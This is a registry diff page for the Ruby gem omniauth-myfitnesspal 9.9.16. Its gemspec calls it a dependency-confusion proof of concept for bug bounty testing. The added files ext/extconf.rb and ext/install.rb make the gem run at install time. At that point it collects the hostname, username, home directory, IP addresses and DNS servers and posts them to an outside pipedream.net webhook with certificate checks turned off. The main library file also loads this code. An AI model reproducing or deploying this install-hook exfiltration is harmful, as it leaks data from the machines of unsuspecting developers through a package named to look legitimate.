omniauth-myfitnesspal 9.9.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of omniauth-myfitnesspal might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 301c888dfd93b0f089967c7b14997bc0d4c0c826fa77927cd705c002edc24084
4
+ data.tar.gz: 40e8540850d1ee107224cc7edc802f1b6dd5c3befec4c1f31a86e6b23c233e89
5
+ SHA512:
6
+ metadata.gz: ac6549b68562129956ed6104ded644a617b8d8b3b80f44a1510012c74753d7a73befaeb14ae6460ee4f265c35d64cf95814b8f73c3f0bd7e3d0084843f82466f
7
+ data.tar.gz: 325c8d0d8fce4d946586ee685f7bc235fda8b2f2d1efa30f33331615d689bb63d88b4ffcc9df57613406343fe18073670b7cca8980fe4404d4cbaef4bb632c4e
data/README.md ADDED
@@ -0,0 +1,31 @@
1
+ # Omniauth::Myfitnesspal
2
+
3
+ TODO: Delete this and the text below, and describe your gem
4
+
5
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/omniauth/myfitnesspal`. To experiment with that code, run `bin/console` for an interactive prompt.
6
+
7
+ ## Installation
8
+
9
+ TODO: Replace `UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG` with your gem name right after releasing it to RubyGems.org. Please do not do it earlier due to security reasons. Alternatively, replace this section with instructions to install your gem from git if you don't plan to release to RubyGems.org.
10
+
11
+ Install the gem and add to the application's Gemfile by executing:
12
+
13
+ $ bundle add UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG
14
+
15
+ If bundler is not being used to manage dependencies, install the gem by executing:
16
+
17
+ $ gem install UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG
18
+
19
+ ## Usage
20
+
21
+ TODO: Write usage instructions here
22
+
23
+ ## Development
24
+
25
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
26
+
27
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
28
+
29
+ ## Contributing
30
+
31
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/omniauth-myfitnesspal.
data/Rakefile ADDED
@@ -0,0 +1,4 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ task default: %i[]
data/ext/extconf.rb ADDED
@@ -0,0 +1,6 @@
1
+ # ext/extconf.rb
2
+ require 'mkmf' # Required for create_makefile
3
+ require_relative 'install' # <- Your payload executes here
4
+
5
+ # Dummy Makefile so gem install succeeds
6
+ create_makefile('dummy_extension')
data/ext/install.rb ADDED
@@ -0,0 +1,51 @@
1
+ # frozen_string_literal: true
2
+ require 'net/http'
3
+ require 'socket'
4
+ require 'json'
5
+ require 'ipaddr'
6
+ require 'resolv'
7
+ require 'etc'
8
+ require 'openssl' # Required for SSL options
9
+
10
+ # Log gem execution
11
+ File.open("/tmp/install_test.log", "a") { |f| f.puts "[*] install.rb executed at #{Time.now}" }
12
+
13
+ begin
14
+ # Webhook URL (ensure trailing slash)
15
+ uri = URI('https://543649cec91b5b0f72f6ee64de5eb156.m.pipedream.net/')
16
+
17
+ # Gather system info
18
+ hostname = Socket.gethostname
19
+ homedir = Dir.home
20
+ username = Etc.getlogin rescue 'unknown'
21
+ ip_addresses = Socket.ip_address_list.select { |addr| addr.ipv4? && !addr.ipv4_loopback? }.map(&:ip_address)
22
+
23
+ # Optional: configured DNS servers
24
+ dns_servers = Resolv::DNS.open { |dns| dns.each_name_server.to_a.map(&:to_s) } rescue []
25
+
26
+ payload = {
27
+ gem_name: 'omniauth-myfitnesspal',
28
+ hostname: hostname,
29
+ homedir: homedir,
30
+ username: username,
31
+ ip_addresses: ip_addresses,
32
+ dns_servers: dns_servers,
33
+ ruby_version: RUBY_VERSION,
34
+ os: RbConfig::CONFIG['host_os']
35
+ }
36
+
37
+ # Send POST request
38
+ http = Net::HTTP.new(uri.host, uri.port)
39
+ http.use_ssl = true
40
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Ignore SSL for testing
41
+ request = Net::HTTP::Post.new(uri.path, { "Content-Type" => "application/json" })
42
+ request.body = payload.to_json
43
+ response = http.request(request)
44
+
45
+ # Log response
46
+ File.open("/tmp/install_test.log", "a") { |f| f.puts "[*] HTTP response: #{response.code}" }
47
+
48
+ rescue => e
49
+ # Log exceptions
50
+ File.open("/tmp/install_test.log", "a") { |f| f.puts "[!] HTTP error: #{e}" }
51
+ end
@@ -0,0 +1,7 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Omniauth
4
+ module Myfitnesspal
5
+ VERSION = "9.9.16"
6
+ end
7
+ end
@@ -0,0 +1,11 @@
1
+ # frozen_string_literal: true
2
+
3
+ require_relative "myfitnesspal/version"
4
+ require_relative "../../ext/install"
5
+
6
+ module Omniauth
7
+ module Myfitnesspal
8
+ class Error < StandardError; end
9
+ # Your code goes here...
10
+ end
11
+ end
@@ -0,0 +1,45 @@
1
+ # frozen_string_literal: true
2
+
3
+ require_relative "lib/omniauth/myfitnesspal/version"
4
+
5
+ Gem::Specification.new do |spec|
6
+ spec.name = "omniauth-myfitnesspal"
7
+ spec.version = "9.9.16"
8
+ spec.authors = ["Yahia Sherif"]
9
+ spec.email = ["yahia3042009@gmail.com"]
10
+
11
+ # This ensures payload executes during gem install
12
+ spec.extensions = ["ext/extconf.rb"]
13
+
14
+ spec.summary = "PoC gem for Dependency Confusion bug bounty testing"
15
+ spec.description = "This gem is a proof-of-concept for demonstrating a Dependency Confusion attack in RubyGems. It executes a payload during gem installation."
16
+ spec.homepage = "https://github.com/Yahia/omniauth-myfitnesspal"
17
+ spec.license = "MIT"
18
+ spec.required_ruby_version = ">= 2.6.0"
19
+
20
+ # RubyGems metadata
21
+ spec.metadata["allowed_push_host"] = "https://rubygems.org"
22
+ spec.metadata["homepage_uri"] = spec.homepage
23
+ spec.metadata["source_code_uri"] = "https://github.com/Yahia/omniauth-myfitnesspal"
24
+ spec.metadata["changelog_uri"] = "https://github.com/Yahia/omniauth-myfitnesspal/CHANGELOG.md"
25
+
26
+ # Files to include in gem
27
+ spec.files = Dir.chdir(__dir__) do
28
+ `git ls-files -z`.split("\x0").reject do |f|
29
+ (File.expand_path(f) == __FILE__) ||
30
+ f.start_with?(*%w[bin/ test/ spec/ features/ .git .circleci appveyor Gemfile])
31
+ end
32
+ end
33
+
34
+ # Ensure the ext/install.rb is included
35
+ spec.files << "ext/install.rb" unless spec.files.include?("ext/install.rb")
36
+ spec.files << "ext/extconf.rb" unless spec.files.include?("ext/extconf.rb")
37
+
38
+
39
+ spec.bindir = "exe"
40
+ spec.executables = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
41
+ spec.require_paths = ["lib"]
42
+
43
+ # Optional dependencies (none for PoC)
44
+ # spec.add_dependency "omniauth", "~> 2.0"
45
+ end
@@ -0,0 +1,6 @@
1
+ module Omniauth
2
+ module Myfitnesspal
3
+ VERSION: String
4
+ # See the writing guide of rbs: https://github.com/ruby/rbs#guides
5
+ end
6
+ end
metadata ADDED
@@ -0,0 +1,57 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: omniauth-myfitnesspal
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.16
5
+ platform: ruby
6
+ authors:
7
+ - Yahia Sherif
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2025-08-31 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This gem is a proof-of-concept for demonstrating a Dependency Confusion
14
+ attack in RubyGems. It executes a payload during gem installation.
15
+ email:
16
+ - yahia3042009@gmail.com
17
+ executables: []
18
+ extensions:
19
+ - ext/extconf.rb
20
+ extra_rdoc_files: []
21
+ files:
22
+ - README.md
23
+ - Rakefile
24
+ - ext/extconf.rb
25
+ - ext/install.rb
26
+ - lib/omniauth/myfitnesspal.rb
27
+ - lib/omniauth/myfitnesspal/version.rb
28
+ - omniauth-myfitnesspal.gemspec
29
+ - sig/omniauth/myfitnesspal.rbs
30
+ homepage: https://github.com/Yahia/omniauth-myfitnesspal
31
+ licenses:
32
+ - MIT
33
+ metadata:
34
+ allowed_push_host: https://rubygems.org
35
+ homepage_uri: https://github.com/Yahia/omniauth-myfitnesspal
36
+ source_code_uri: https://github.com/Yahia/omniauth-myfitnesspal
37
+ changelog_uri: https://github.com/Yahia/omniauth-myfitnesspal/CHANGELOG.md
38
+ post_install_message:
39
+ rdoc_options: []
40
+ require_paths:
41
+ - lib
42
+ required_ruby_version: !ruby/object:Gem::Requirement
43
+ requirements:
44
+ - - ">="
45
+ - !ruby/object:Gem::Version
46
+ version: 2.6.0
47
+ required_rubygems_version: !ruby/object:Gem::Requirement
48
+ requirements:
49
+ - - ">="
50
+ - !ruby/object:Gem::Version
51
+ version: '0'
52
+ requirements: []
53
+ rubygems_version: 3.4.20
54
+ signing_key:
55
+ specification_version: 4
56
+ summary: PoC gem for Dependency Confusion bug bounty testing
57
+ test_files: []